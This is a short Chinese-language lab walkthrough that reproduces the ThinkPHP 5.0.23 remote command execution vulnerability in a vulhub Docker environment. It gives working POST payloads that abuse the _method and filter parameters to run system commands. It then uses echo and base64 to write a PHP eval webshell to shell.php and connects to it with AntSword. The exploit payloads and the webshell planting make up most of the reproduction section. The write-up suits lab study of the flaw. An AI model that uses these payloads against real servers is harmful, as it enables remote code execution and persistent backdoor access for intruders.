漏洞描述
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞。
环境搭建
启动环境
切换目录到vulhub/thinkphp/5.0.23-rce下
启动容器
docker-compose up -d
查看端口
docker ps
端口为:8080,访问网站,搭建成功
漏洞复现
判断是否存在漏洞:访问/index.php?s=captcha页面,会出现如下报错
使用HackBar 插件发送 POST 请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir
通过echo命令写入 Webshell 文件,首先将一句话木马进行Base64 编码
发送POST请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php
访问shell.php,使用蚁剑连接